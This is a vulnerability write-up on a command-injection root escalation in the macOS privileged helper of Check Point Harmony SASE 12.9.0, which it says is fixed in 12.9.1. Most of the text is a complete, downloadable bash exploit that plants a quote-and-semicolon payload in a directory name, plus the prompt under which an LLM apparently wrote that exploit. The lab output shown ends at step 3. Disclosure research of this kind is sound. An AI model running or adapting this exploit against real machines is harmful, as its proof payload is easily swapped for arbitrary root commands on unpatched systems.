Harmony SASE: when a quote in the path was enough for root
Check Point Harmony SASE is a popular enterprise VPN / SASE client. On macOS it lands in
/Applications like any other endpoint agent — and behind the UI sits a privileged HelperTool that
installs and repairs a root daemon. That is the surface I care about.
I went looking the slow way: which helper talks to root, which methods still shell out, and what parts of those
commands come from the connecting app. Confirmed on 12.9.0 build 11237
(Team ID 924635PD62).
/usr/bin/id only.
Manual reverse engineering
No model in the loop yet. I opened the installed HelperTool
(/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool) in Binary Ninja and looked for
install paths that still shell out as root.
The XPC entry is
-[DIDaemon installPerimeter81dDaemonWithAppBundlePath:completionHandler:]
(0x100002444). That hands the connecting client’s app bundle URL into the install path. The
interesting body is DIInstallScriptsExecutor.copyDaemon —
sub_100004f0c in Binary Ninja. HLIL makes the bug obvious:
// sub_100004f0c — DIInstallScriptsExecutor.copyDaemon
String.append(cmd, "cp -R '")
path = URL.path.getter(appBundleUrl) // connecting client's bundle path
String.append(cmd, path) // appended raw — no escaping
String.append(cmd, "/Contents/Library/LaunchServices/com.perimeter81d.app")
String.append(cmd, "' ")
String.append(cmd, "; cp ...")
// handed to a shell runner with launch path /bin/bash
So the finished command looks like:
cp -R '<appBundlePath>/Contents/Library/LaunchServices/com.perimeter81d.app' \
/Library/PrivilegedHelperTools/
A nearby helper (sub_100005a84) logs that string as Copy daemon command: — which is
also what you see later in /var/log/HarmonySASE/DaemonInstaller.log.
Client validation still accepts a relocated copy of the app as long as it keeps Check Point’s Team ID. Copy the
vendor-signed app to a path that contains a ' and a short payload, trigger the daemon
reinstall/update path, and the helper runs that payload as root.
Then I handed it to an LLM
Once the bug was clear — method, missing escape, Team ID gate, trigger — I stopped RE and passed the notes to a model to build the lab harness. I already had the finding. I wanted glue:
Authorized lab research on Harmony SASE for macOS.
I already reversed the root HelperTool. The install path
DIInstallScriptsExecutor.copyDaemon(appBundleUrl:) builds
/bin/bash -c and inserts the connecting app's bundle path
inside single quotes with no escaping. A relocated copy
signed by Team ID 924635PD62 still passes client checks.
Help me write a small bash PoC that:
- copies the vendor-signed app into a path with a quote
- triggers the daemon reinstall/update path
- proves root with /usr/bin/id only
- repairs the pristine app afterward
Stay on this surface. Don't invent other helpers or methods.
That was it. I found the bug. The model wrote the exploit.
Proof of concept
Lab script:
harmony_sase_lpe_exploit.sh.
Target: /Applications/Harmony SASE.app, version/build as above. Quit the pristine app if it is
running — it self-heals the daemon and starves the trigger.
MODE=probe ./harmony_sase_lpe_exploit.sh
MODE=exploit ./harmony_sase_lpe_exploit.sh
Exploit mode sets shouldRelaunchDaemon=true — the vendor’s silent-update relaunch flag — then
launches the relocated signed copy. That hits the HelperTool install path without waiting on the older
launchd race. The payload’s trailing # also comments out the real daemon re-copy, so a win can
leave com.perimeter81d deleted until the pristine app repairs it (and may drop an active VPN
session for a moment). The script clears the flag afterward and opens the pristine app to reinstall the
daemon.
Full PoC script (harmony_sase_lpe_exploit.sh)
Authorized lab use only. Confirmed on Harmony SASE 12.9.0 / build 11237;
fixed in 12.9.1 / build 12074.
Download: harmony_sase_lpe_exploit.sh.
#!/usr/bin/env bash
set -euo pipefail
# Harmony SASE HelperTool root command-injection LPE PoC, build 12.9.0 / 11237.
#
# Confirmed primitive (verified in binary + runtime logs):
# The root daemon-install path DIInstallScriptsExecutor.copyDaemon(appBundleUrl:)
# builds, and runs via `/bin/bash -c`, the command:
# cp -R '<appBundlePath>/Contents/Library/LaunchServices/com.perimeter81d.app' \
# /Library/PrivilegedHelperTools/; cp <plist> /Library/LaunchDaemons/...
# <appBundlePath> is the *connecting client's* NSBundle.mainBundle.bundlePath and
# is inserted inside single quotes with NO escaping. A ditto'd, still-vendor-signed
# copy of the app satisfies the helper's SMAuthorizedClients requirement, so a copy
# living at a path that contains a single quote injects shell as root.
#
# Reachability (this is the part that made the bug look "only works in a debugger"):
# The injected path reaches copyDaemon through the daemon install/update path.
# The original trigger used the repair branch, `Install daemon with migration.`,
# which is taken when the launchd job-dictionary read for com.perimeter81d
# returns nil. That read is racy: the same healthy daemon intermittently returns
# nil (observed repeatedly in HarmonySASE.log).
#
# A more reliable trigger is the vendor's silent-update relaunch flag:
# NSUserDefaults key `shouldRelaunchDaemon`. When set, a healthy daemon still logs
# `Reinstall daemon without migration after silent update.` and calls the same
# helper copy path with the connecting app's bundle path. This PoC uses that
# trigger by default and restores the previous default afterward.
#
# Two properties make a loop reliable:
# 1) Each relocated-app launch is one independent chance to hit the nil window.
# 2) The migration path first `rm -r`s the daemon, then re-copies it. Our payload's
# trailing `#` comments out the real copy, so the FIRST win deletes the daemon
# and fails to reinstall it -> every later launch reads nil deterministically
# -> migration fires every time (self-perpetuating) until the pristine
# /Applications app repairs it.
#
# Safety model:
# - MODE=probe: static/target validation + prepare signed copy only. No trigger.
# - MODE=exploit: fixed proof payload `/usr/bin/id > $PROOF_PATH` only. No arbitrary
# command, no shell, no persistence beyond normal install side effects + proof file.
# - REPAIR_AFTER=1 (default) relaunches the pristine app afterward to reinstall the
# daemon it may have left deleted.
#
# Usage:
# bash -n harmony_sase_lpe_exploit.sh
# MODE=probe ./harmony_sase_lpe_exploit.sh
# MODE=exploit ./harmony_sase_lpe_exploit.sh # deterministic flag trigger
# MODE=exploit TRIGGER_MODE=race MAX_ATTEMPTS=200 ./harmony_sase_lpe_exploit.sh
# DEBUG=1 MODE=exploit ./harmony_sase_lpe_exploit.sh
# # For strict bundle verification, add REQUIRE_VALID_SIGNATURE=1. The default
# # preserves compatibility with vendor bundles whose sealed resources are
# # reported as modified even though the helper accepts their signing identity.
#
# Expected proof:
# ${WORK_BASE}/proof/id.txt contains `uid=0(root)`.
#
# Cleanup:
# rm -rf "${WORK_BASE}" "${PROOF_DIR}"
# # then open /Applications/Harmony SASE.app once to fully repair the daemon.
RUN_ID="${RUN_ID:-$(/bin/date +%Y%m%d_%H%M%S)_$$}"
TMP_ROOT="${TMPDIR:-/tmp}"
TMP_ROOT="${TMP_ROOT%/}"
TARGET_APP="${TARGET_APP:-/Applications/Harmony SASE.app}"
HELPER="${HELPER:-/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool}"
DAEMON_LABEL="${DAEMON_LABEL:-com.perimeter81d}"
EXPECTED_BUNDLE_ID="${EXPECTED_BUNDLE_ID:-com.safervpn.osx.smb}"
EXPECTED_TEAM_ID="${EXPECTED_TEAM_ID:-924635PD62}"
EXPECTED_VERSION="${EXPECTED_VERSION:-12.9.0}"
EXPECTED_BUILD="${EXPECTED_BUILD:-11237}"
USER_DEFAULTS_DOMAIN="${USER_DEFAULTS_DOMAIN:-$EXPECTED_BUNDLE_ID}"
RELAUNCH_DEFAULTS_KEY="${RELAUNCH_DEFAULTS_KEY:-shouldRelaunchDaemon}"
STRICT_VERSION="${STRICT_VERSION:-1}"
REQUIRE_VALID_SIGNATURE="${REQUIRE_VALID_SIGNATURE:-0}"
MODE="${MODE:-probe}" # probe | exploit
TRIGGER_MODE="${TRIGGER_MODE:-relaunch_flag}" # relaunch_flag | race
WORK_BASE="${WORK_BASE:-${TMP_ROOT}/harmony_sase_helpertool_lpe}"
PROOF_DIR="${PROOF_DIR:-${WORK_BASE}/proof}"
PROOF_PATH="${PROOF_PATH:-${PROOF_DIR}/id.txt}"
REBUILD_COPY="${REBUILD_COPY:-1}"
# Race-loop tuning.
MAX_ATTEMPTS="${MAX_ATTEMPTS:-80}" # launches before giving up (each is one race chance)
ROUND_WAIT="${ROUND_WAIT:-6}" # maximum seconds to wait for one startup result
POLL_INTERVAL="${POLL_INTERVAL:-0.25}" # log/proof polling interval
POST_BRANCH_WAIT="${POST_BRANCH_WAIT:-4}" # wait for helper/proof after migration branch
REPAIR_WAIT="${REPAIR_WAIT:-20}" # seconds to wait for launchd repair
REPAIR_AFTER="${REPAIR_AFTER:-1}" # relaunch pristine app afterward to reinstall daemon
STOP_RUNNING_APP="${STOP_RUNNING_APP:-1}"
DEBUG="${DEBUG:-${VERBOSE:-0}}"
EXPLOIT_ACTIVE=0
REPAIR_DONE=0
DEFAULTS_TOUCHED=0
DEFAULTS_KEY_EXISTED=0
DEFAULTS_OLD_VALUE=""
DAEMON_LOG="${DAEMON_LOG:-/var/log/HarmonySASE/DaemonInstaller.log}"
GUI_LOG="${GUI_LOG:-$HOME/Library/Logs/HarmonySASE.log}"
say() { printf '%s\n' "$*" >&2; }
log() { say "[*] $*"; }
ok() { say "[+] $*"; }
warn() { say "[!] $*"; }
debug() {
[[ "$DEBUG" == "1" ]] || return 0
say "[D] $*"
}
die() { say "[x] $*"; say "bye bye!"; exit 1; }
is_positive_number() {
[[ "$1" =~ ^[0-9]+([.][0-9]+)?$ ]] && /usr/bin/awk -v n="$1" 'BEGIN { exit !(n > 0) }'
}
is_positive_integer() {
[[ "$1" =~ ^[1-9][0-9]*$ ]]
}
verify_signature() {
local path="$1" output
output="$(/usr/bin/codesign --verify --strict --verbose=4 "$path" 2>&1)" && return 0
warn "Code-signature verification failed for: $path"
[[ -n "$output" ]] && warn "$output"
return 1
}
plist_value() {
/usr/libexec/PlistBuddy -c "Print :$1" "$TARGET_APP/Contents/Info.plist" 2>/dev/null || true
}
team_id() {
/usr/bin/codesign -d --verbose=4 "$TARGET_APP" 2>&1 |
/usr/bin/awk -F= '/^TeamIdentifier=/{print $2; exit}'
}
helper_contains() { /usr/bin/grep -aFq "$1" "$HELPER"; }
installed_app_processes() {
/usr/bin/pgrep -fl "$TARGET_APP/Contents/MacOS/Harmony SASE" 2>/dev/null || true
}
relocated_app_processes() {
# match our copy's executable path (kept out of the pristine /Applications path)
/usr/bin/pgrep -fl "$WORK_BASE" 2>/dev/null || true
}
request_pristine_exit() {
"$TARGET_APP/Contents/MacOS/Harmony SASE" exit >/dev/null 2>&1 &
local exit_pid=$!
disown "$exit_pid" 2>/dev/null || true
}
ensure_installed_app_not_running() {
local running i
running="$(installed_app_processes)"
[[ -z "$running" ]] && return 0
warn "Pristine Harmony SASE is running; it self-heals the daemon and starves the race."
if [[ "$STOP_RUNNING_APP" != "1" ]]; then
die "Quit Harmony SASE, or set STOP_RUNNING_APP=1 to ask it to exit."
fi
log "Asking pristine Harmony SASE to exit."
request_pristine_exit
for ((i = 0; i < 15; i++)); do
[[ -z "$(installed_app_processes)" ]] && return 0
/bin/sleep 1
done
die "Pristine Harmony SASE still running; quit it manually before exploit mode."
}
kill_relocated() {
/usr/bin/pkill -TERM -f "$WORK_BASE" >/dev/null 2>&1 || true
local i
for ((i = 0; i < 20; i++)); do
[[ -z "$(relocated_app_processes)" ]] && return 0
/bin/sleep 0.1
done
# A stuck GUI process can otherwise make the next attempt attach to the
# previous single-instance process (LSMultipleInstancesProhibited=true).
/usr/bin/pkill -KILL -f "$WORK_BASE" >/dev/null 2>&1 || true
}
log_count() {
# log_count <file> <fixed-phrase> -> integer occurrences (0 if none/unreadable).
# grep -c prints "0" AND exits 1 on zero matches, so capture then sanitize.
local n
n="$(/usr/bin/grep -acF "$2" "$1" 2>/dev/null)" || true
n="${n%%$'\n'*}"
case "$n" in
''|*[!0-9]*) n=0 ;;
esac
printf '%s' "$n"
}
debug_recent_logs() {
[[ "$DEBUG" == "1" ]] || return 0
say "[*] Debug log excerpt:"
if [[ -r "$GUI_LOG" ]]; then
log "Recent GUI installer decisions:"
/usr/bin/grep -aE \
'daemonVersionInstalled|Failed to retrieve job dictionary|Install daemon with migration|Reinstall daemon without migration|Should relaunch daemon|Daemon is up to date' \
"$GUI_LOG" 2>/dev/null | /usr/bin/tail -n 16 >&2 || true
else
warn "GUI log is not readable: $GUI_LOG"
fi
if [[ -r "$DAEMON_LOG" ]]; then
log "Recent HelperTool installer decisions:"
/usr/bin/grep -aE \
'installPerimeter81dDaemon|copyDaemon started|Copy daemon command|has not been validated|App bundle Code Signature VERIFIED' \
"$DAEMON_LOG" 2>/dev/null | /usr/bin/tail -n 16 >&2 || true
else
warn "HelperTool log is not readable: $DAEMON_LOG"
fi
}
validate_environment() {
[[ "$(id -u)" != "0" ]] || die "Run as a normal low-privileged user, not root."
[[ -d "$TARGET_APP" ]] || die "Harmony SASE app not found at $TARGET_APP"
[[ -x "$TARGET_APP/Contents/MacOS/Harmony SASE" ]] || die "Harmony SASE executable missing."
[[ -x "$HELPER" ]] || die "HelperTool not found or not executable at $HELPER"
case "$PROOF_PATH" in
/tmp/*|/private/tmp/*|"${TMP_ROOT}"/*) ;;
*) die "For safety, PROOF_PATH must be under /tmp or TMPDIR." ;;
esac
case "$PROOF_PATH" in
*[!A-Za-z0-9_./-]*) die "PROOF_PATH contains unsafe characters." ;;
*..*) die "PROOF_PATH must not contain '..'." ;;
esac
case "$WORK_BASE" in
/tmp/*|/private/tmp/*|"${TMP_ROOT}"/*) ;;
*) die "For safety, WORK_BASE must be under /tmp or TMPDIR." ;;
esac
[[ "$WORK_BASE" != *..* ]] || die "WORK_BASE must not contain '..'."
case "$WORK_BASE" in
*[!A-Za-z0-9_./-]*) die "WORK_BASE contains unsafe characters." ;;
esac
is_positive_integer "$MAX_ATTEMPTS" || die "MAX_ATTEMPTS must be a positive integer."
is_positive_number "$ROUND_WAIT" || die "ROUND_WAIT must be a positive number."
is_positive_number "$POLL_INTERVAL" || die "POLL_INTERVAL must be a positive number."
is_positive_number "$POST_BRANCH_WAIT" || die "POST_BRANCH_WAIT must be a positive number."
is_positive_integer "$REPAIR_WAIT" || die "REPAIR_WAIT must be a positive integer."
[[ "$REBUILD_COPY" == "0" || "$REBUILD_COPY" == "1" ]] ||
die "REBUILD_COPY must be 0 or 1."
[[ "$REPAIR_AFTER" == "0" || "$REPAIR_AFTER" == "1" ]] ||
die "REPAIR_AFTER must be 0 or 1."
[[ "$STOP_RUNNING_APP" == "0" || "$STOP_RUNNING_APP" == "1" ]] ||
die "STOP_RUNNING_APP must be 0 or 1."
[[ "$DEBUG" == "0" || "$DEBUG" == "1" ]] ||
die "DEBUG must be 0 or 1."
[[ "$REQUIRE_VALID_SIGNATURE" == "0" || "$REQUIRE_VALID_SIGNATURE" == "1" ]] ||
die "REQUIRE_VALID_SIGNATURE must be 0 or 1."
[[ "$MODE" == "probe" || "$MODE" == "exploit" ]] ||
die "MODE must be probe or exploit."
[[ "$TRIGGER_MODE" == "relaunch_flag" || "$TRIGGER_MODE" == "race" ]] ||
die "TRIGGER_MODE must be relaunch_flag or race."
local bundle_id version build team
bundle_id="$(plist_value CFBundleIdentifier)"
version="$(plist_value CFBundleShortVersionString)"
build="$(plist_value CFBundleVersion)"
team="$(team_id)"
say " Bundle: ${bundle_id:-unknown}"
say " Version: ${version:-unknown}"
say " Build: ${build:-unknown}"
say " Team: ${team:-unknown}"
[[ "$bundle_id" == "$EXPECTED_BUNDLE_ID" ]] || die "Unexpected bundle identifier."
[[ "$team" == "$EXPECTED_TEAM_ID" ]] || die "Unexpected TeamIdentifier."
if [[ "$STRICT_VERSION" == "1" ]]; then
[[ "$version" == "$EXPECTED_VERSION" ]] || die "Version mismatch; set STRICT_VERSION=0 to override."
[[ "$build" == "$EXPECTED_BUILD" ]] || die "Build mismatch; set STRICT_VERSION=0 to override."
fi
if ! verify_signature "$TARGET_APP"; then
[[ "$REQUIRE_VALID_SIGNATURE" == "1" ]] ||
warn "Continuing because REQUIRE_VALID_SIGNATURE=0; the HelperTool may reject this client."
[[ "$REQUIRE_VALID_SIGNATURE" != "1" ]] ||
die "Restore/reinstall the pristine vendor app, then rerun."
fi
helper_contains "Copy daemon command:" || die "HelperTool missing copyDaemon logging string."
helper_contains "/bin/bash" || die "HelperTool missing shell executor string."
helper_contains "installPerimeter81dDaemonWithAppBundlePath:completionHandler:" ||
die "HelperTool missing expected installer XPC method."
}
prepare_signed_copy() {
local payload_parent copied_app
/bin/mkdir -p "$WORK_BASE"
# Directory name IS the payload. Single quote closes copyDaemon's `cp -R '<path>`;
# the trailing `#` comments out the rest of the root command (incl. the real copy).
payload_parent="${WORK_BASE}/poc'; /usr/bin/id > ${PROOF_PATH}; /bin/chmod 0644 ${PROOF_PATH}; #"
copied_app="${payload_parent}/Harmony SASE.app"
if [[ "$REBUILD_COPY" == "1" && -e "$payload_parent" ]]; then
log "Removing previous payload directory to avoid stale/partial copies."
/bin/rm -rf "$payload_parent"
fi
/bin/mkdir -p "$payload_parent"
if [[ ! -d "$copied_app" ]]; then
log "Copying signed app into injection path."
/usr/bin/ditto "$TARGET_APP" "$copied_app"
else
log "Reusing existing copied app at injection path."
fi
log "Checking relocated app signature."
if verify_signature "$copied_app"; then
log "Relocated app signature verification passed (SMAuthorizedClients will accept it)."
elif [[ "$REQUIRE_VALID_SIGNATURE" == "1" ]]; then
die "Relocated app signature verification failed; restore/reinstall the pristine app."
else
warn "Relocated app signature verification failed; continuing (REQUIRE_VALID_SIGNATURE=0)."
fi
[[ -x "$copied_app/Contents/MacOS/Harmony SASE" ]] ||
die "Relocated app executable is missing; discard WORK_BASE and retry."
[[ -d "$copied_app/Contents/Library/LaunchServices/com.perimeter81d.app" ]] ||
die "Relocated daemon bundle is missing; discard WORK_BASE and retry."
printf '%s\n' "$copied_app"
}
prepare_proof_path() {
local proof_parent
proof_parent="$(/usr/bin/dirname "$PROOF_PATH")"
/bin/mkdir -p "$proof_parent" || die "Could not create proof directory: $proof_parent"
/bin/chmod 700 "$proof_parent" 2>/dev/null || true
if [[ -e "$PROOF_PATH" || -L "$PROOF_PATH" ]]; then
if /bin/rm -f "$PROOF_PATH" 2>/dev/null; then
debug "Removed stale proof path: $PROOF_PATH"
else
die "Could not remove existing proof path. Choose a new PROOF_PATH or remove it as root: $PROOF_PATH"
fi
fi
}
proof_ok() { [[ -s "$PROOF_PATH" ]] && /usr/bin/grep -q "uid=0(root)" "$PROOF_PATH"; }
save_relaunch_default() {
[[ "$DEFAULTS_TOUCHED" == "0" ]] || return 0
if DEFAULTS_OLD_VALUE="$(/usr/bin/defaults read "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" 2>/dev/null)"; then
DEFAULTS_KEY_EXISTED=1
else
DEFAULTS_KEY_EXISTED=0
DEFAULTS_OLD_VALUE=""
fi
}
enable_relaunch_trigger() {
save_relaunch_default
debug "Saved defaults state: existed=${DEFAULTS_KEY_EXISTED}, old_value=${DEFAULTS_OLD_VALUE:-<unset>}"
/usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool true
DEFAULTS_TOUCHED=1
log "Enabled ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY}=true for this run."
}
restore_relaunch_trigger() {
[[ "$DEFAULTS_TOUCHED" == "1" ]] || return 0
if [[ "$DEFAULTS_KEY_EXISTED" == "1" ]]; then
case "$DEFAULTS_OLD_VALUE" in
1|true|TRUE|True|YES|Yes|yes)
/usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool true
;;
0|false|FALSE|False|NO|No|no)
/usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool false
;;
*)
/usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" "$DEFAULTS_OLD_VALUE"
;;
esac
log "Restored ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY}."
else
/usr/bin/defaults delete "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" >/dev/null 2>&1 || true
log "Removed temporary ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY} flag."
fi
DEFAULTS_TOUCHED=0
}
run_relaunch_flag_trigger() {
local bin="$1"
local elapsed validation_before validation_now copies_before copies_now relaunch_before relaunch_now
local flag_true_before flag_true_now flag_false_before flag_false_now
local total_wait
validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')"
copies_before="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
relaunch_before="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')"
flag_true_before="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is true')"
flag_false_before="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is false')"
enable_relaunch_trigger
kill_relocated
log "Starting relocated app with silent-update relaunch trigger."
"$bin" >/dev/null 2>&1 &
disown 2>/dev/null || true
total_wait="$(/usr/bin/awk -v a="$ROUND_WAIT" -v b="$POST_BRANCH_WAIT" 'BEGIN { printf "%.3f", a + b }')"
elapsed=0
while /usr/bin/awk -v e="$elapsed" -v t="$total_wait" 'BEGIN { exit !(e < t) }'; do
if proof_ok; then
kill_relocated
log "Injection landed through silent-update relaunch trigger."
return 0
fi
validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
if ((validation_now > validation_before)); then
kill_relocated
warn "HelperTool rejected the relocated client (code-signature/XPC validation)."
warn "Use a pristine vendor-signed app; inspect $DAEMON_LOG for the rejection."
debug_recent_logs
return 3
fi
relaunch_now="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')"
copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
if ((relaunch_now > relaunch_before || copies_now > copies_before)); then
/bin/sleep "$POST_BRANCH_WAIT"
if proof_ok; then
kill_relocated
log "Injection landed through silent-update relaunch trigger."
return 0
fi
break
fi
/bin/sleep "$POLL_INTERVAL"
elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')"
done
kill_relocated
flag_true_now="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is true')"
flag_false_now="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is false')"
relaunch_now="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')"
copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
warn "No proof through silent-update relaunch trigger."
warn " relaunch-flag true logs during run: $((flag_true_now - flag_true_before))"
warn " relaunch-flag false logs during run: $((flag_false_now - flag_false_before))"
warn " reinstall-without-migration hits during run: $((relaunch_now - relaunch_before))"
warn " copyDaemon invocations during run: $((copies_now - copies_before))"
if ((flag_false_now > flag_false_before && flag_true_now == flag_true_before)); then
warn "The app read the flag as false; cfprefsd may have cached the old value. Retry once."
fi
debug_recent_logs
return 1
}
run_race_loop() {
local bin="$1"
local attempt migrations_before migrations_now copies_before copies_now healthy_before healthy_now
local validation_before validation_now elapsed branch
local run_migrations_before run_copies_before run_validation_before
run_migrations_before="$(log_count "$GUI_LOG" 'Install daemon with migration')"
run_copies_before="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
run_validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')"
log "Starting race loop: up to ${MAX_ATTEMPTS} launches, ${ROUND_WAIT}s startup timeout each."
log "Healthy launches are stopped as soon as the log confirms the up-to-date branch."
for ((attempt = 1; attempt <= MAX_ATTEMPTS; attempt++)); do
kill_relocated
migrations_before="$(log_count "$GUI_LOG" 'Install daemon with migration')"
healthy_before="$(log_count "$GUI_LOG" 'Daemon is up to date. Proceed.')"
validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')"
"$bin" >/dev/null 2>&1 &
disown 2>/dev/null || true # drop from job table so kills stay quiet
branch="unknown"
elapsed=0
while is_positive_number "$ROUND_WAIT" && /usr/bin/awk -v e="$elapsed" -v t="$ROUND_WAIT" 'BEGIN { exit !(e < t) }'; do
if proof_ok; then
kill_relocated
log "Injection landed on attempt ${attempt}."
return 0
fi
migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')"
healthy_now="$(log_count "$GUI_LOG" 'Daemon is up to date. Proceed.')"
validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
if ((validation_now > validation_before)); then
kill_relocated
warn "HelperTool rejected the relocated client (code-signature/XPC validation)."
warn "Use a pristine vendor-signed app; inspect $DAEMON_LOG for the rejection."
debug_recent_logs
return 3
fi
if ((migrations_now > migrations_before)); then
branch="migration"
break
fi
if ((healthy_now > healthy_before)); then
branch="healthy"
break
fi
/bin/sleep "$POLL_INTERVAL"
elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')"
done
if [[ "$branch" == "migration" ]]; then
log "Attempt ${attempt}: migration branch observed; waiting up to ${POST_BRANCH_WAIT}s for helper/proof."
elapsed=0
while /usr/bin/awk -v e="$elapsed" -v t="$POST_BRANCH_WAIT" 'BEGIN { exit !(e < t) }'; do
proof_ok && { kill_relocated; log "Injection landed on attempt ${attempt}."; return 0; }
validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
((validation_now > validation_before)) && {
kill_relocated
warn "HelperTool rejected the relocated client (code-signature/XPC validation)."
debug_recent_logs
return 3
}
/bin/sleep "$POLL_INTERVAL"
elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')"
done
fi
kill_relocated
if ((attempt % 10 == 0)); then
migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')"
log " attempt ${attempt}/${MAX_ATTEMPTS} — migration-branch hits so far: $((migrations_now - run_migrations_before))"
fi
done
migrations_now="$(log_count "$GUI_LOG" 'Install daemon with migration')"
copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')"
warn "No proof after ${MAX_ATTEMPTS} attempts."
warn " migration-branch hits during run: $((migrations_now - run_migrations_before))"
warn " copyDaemon invocations during run: $((copies_now - run_copies_before))"
validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')"
if ((validation_now > run_validation_before)); then
warn "HelperTool rejected one or more relocated clients; restore the pristine app signature."
fi
if ((migrations_now == run_migrations_before)); then
warn "Never hit the migration branch — the launchd read stayed healthy the whole run."
warn "Increase MAX_ATTEMPTS, or run on a machine where com.perimeter81d is already stale."
fi
debug_recent_logs
return 1
}
repair_daemon() {
[[ "$REPAIR_AFTER" == "1" ]] || return 0
[[ "$REPAIR_DONE" == "1" ]] && return 0
REPAIR_DONE=1
log "Repairing: launching pristine app to reinstall com.perimeter81d from a clean path."
/usr/bin/open -g "$TARGET_APP" >/dev/null 2>&1 || true
local i
for ((i = 0; i < REPAIR_WAIT; i++)); do
if /bin/launchctl print "system/${DAEMON_LABEL}" >/dev/null 2>&1; then
break
fi
/bin/sleep 1
done
request_pristine_exit
}
cleanup_on_exit() {
kill_relocated
restore_relaunch_trigger
if [[ "$EXPLOIT_ACTIVE" == "1" && "$REPAIR_AFTER" == "1" && "$REPAIR_DONE" != "1" ]]; then
repair_daemon
fi
}
main() {
[[ "$#" -eq 0 ]] || die "This PoC takes no positional arguments. Use environment variables for configuration."
local total_steps copied_app bin rc
total_steps=5
[[ "$MODE" == "probe" ]] && total_steps=2
say "[*] Harmony SASE HelperTool command-injection LPE PoC"
say "[*] Workdir: $WORK_BASE"
say "[*] Proof: $PROOF_PATH"
debug "Mode: $MODE"
debug "Trigger mode: $TRIGGER_MODE"
debug "GUI log: $GUI_LOG"
debug "Helper log: $DAEMON_LOG"
debug "Run id: $RUN_ID"
say "[*](1/${total_steps}) Checking Harmony SASE target ..."
validate_environment
say "[*](2/${total_steps}) Preparing relocated vendor-signed app copy ..."
copied_app="$(prepare_signed_copy)"
bin="${copied_app}/Contents/MacOS/Harmony SASE"
say " Relocated app: $copied_app"
if [[ "$MODE" == "probe" ]]; then
ok "Probe complete. No privileged trigger executed."
say " To attempt the proof in a disposable lab: MODE=exploit $0"
exit 0
fi
[[ "$MODE" == "exploit" ]] || die "Unknown MODE: $MODE"
say "[*](3/5) Preparing proof path ..."
prepare_proof_path
say " Proof file: $PROOF_PATH"
ensure_installed_app_not_running
trap cleanup_on_exit EXIT
trap 'exit 130' INT TERM
EXPLOIT_ACTIVE=1
rc=0
say "[*](4/5) Triggering HelperTool installer path ..."
if [[ "$TRIGGER_MODE" == "relaunch_flag" ]]; then
run_relaunch_flag_trigger "$bin" || rc=$?
else
run_race_loop "$bin" || rc=$?
fi
say "[*](5/5) Verifying root proof ..."
if proof_ok; then
ok "CONFIRMED: HelperTool executed the fixed proof command as root."
say " Proof file: $PROOF_PATH"
/bin/cat "$PROOF_PATH"
say "[*] Restoring app defaults and repairing daemon ..."
restore_relaunch_trigger
repair_daemon
exit 0
fi
say "[*] Restoring app defaults and repairing daemon ..."
restore_relaunch_trigger
repair_daemon
say "[x] No root proof observed."
say " Helper log: $DAEMON_LOG"
say " GUI log: $GUI_LOG"
say "bye bye!"
exit "${rc:-2}"
}
main "$@"
Lab proof
Standard user, no sudo — then root from the HelperTool path:
bash-3.2$ date
Tue Jul 21 11:38:06 +04 2026
bash-3.2$ sudo -v
Sorry, user zero may not run sudo on Dhirajs-MacBook-Pro.
bash-3.2$
bash-3.2$ MODE=exploit ./harmony_sase_lpe_exploit.sh
[*] Harmony SASE HelperTool command-injection LPE PoC
[*] Workdir: /tmp/harmony_sase_helpertool_lpe
[*] Proof: /tmp/harmony_sase_helpertool_lpe/proof/id.txt
[*] (1/5) Checking Harmony SASE target ...
Bundle: com.safervpn.osx.smb
Version: 12.9.0
Build: 11237
Team: 924635PD62
[*] (2/5) Preparing relocated vendor-signed app copy ...
[*] Removing previous payload directory to avoid stale/partial copies.
[*] Copying signed app into injection path.
[*] Checking relocated app signature.
[*] Relocated app signature verification passed (SMAuthorizedClients will accept it).
Relocated app: /tmp/harmony_sase_helpertool_lpe/poc'; /usr/bin/id > /tmp/harmony_sase_helpertool_lpe/proof/id.txt; /bin/chmod 0644 /tmp/harmony_sase_helpertool_lpe/proof/id.txt; #/Harmony SASE.app
[*] (3/5) Preparing proof path ...
Proof file: /tmp/harmony_sase_helpertool_lpe/proof/id.txt
